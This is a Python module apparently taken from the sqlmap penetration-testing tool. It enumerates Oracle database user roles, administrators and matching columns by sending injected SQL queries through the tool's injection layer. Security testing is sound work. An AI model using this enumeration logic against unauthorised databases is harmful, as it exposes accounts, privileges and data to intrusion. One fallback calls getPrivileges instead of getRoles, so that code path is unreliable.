#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import getRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import sqlmapNoneDataException from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[Backend.getIdentifiedDbms()].roles if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(",") query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in users) values = inject.getValue(query, blind=False) if not values and not query2: infoMsg = "trying with table USER_ROLE_PRIVS" logger.info(infoMsg) return self.getRoles(query2=True) if values: for value in values: user = None roles = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if self.__isAdminFromPrivileges(roles): areAdmins.add(user) if kb.data.cachedUsersRoles.has_key(user): kb.data.cachedUsersRoles[user].extend(roles) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and not conf.direct: conditionChar = "=" if conf.user: users = conf.user.split(",") else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): if not count.isdigit() and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, inband=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise sqlmapNoneDataException, errMsg return ( kb.data.cachedUsersRoles, areAdmins ) def getDbs(self): warnMsg = "on Oracle it is not possible to enumerate databases" logger.warn(warnMsg) return [] def searchDb(self): warnMsg = "on Oracle it is not possible to search databases" logger.warn(warnMsg) return [] def searchColumn(self): rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = { "USERS": {} } colList = conf.col.split(",") colCond = rootQuery.inband.condition colConsider, colCondParam = self.likeOrExact("column") for column in colList: column = column.upper() infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % column logger.info(infoMsg) foundCols[column] = {} colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % column for db in dbs.keys(): if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: query = rootQuery.inband.query query += colQuery values = inject.getValue(query, blind=False) if values: if isinstance(values, basestring): values = [ values ] for foundTbl in values: if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == "1": conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [ foundTbl ] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (column, db) logger.info(infoMsg) query = rootQuery.blind.count2 query += " WHERE %s" % colQuery count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getRange(count) for index in indexRange: query = rootQuery.blind.query2 query += " WHERE %s" % colQuery query = agent.limitQuery(index, query) tbl = inject.getValue(query, inband=False, error=False) kb.hintValue = tbl if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True) dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) self.dumpFoundColumn(dbs, foundCols, colConsider)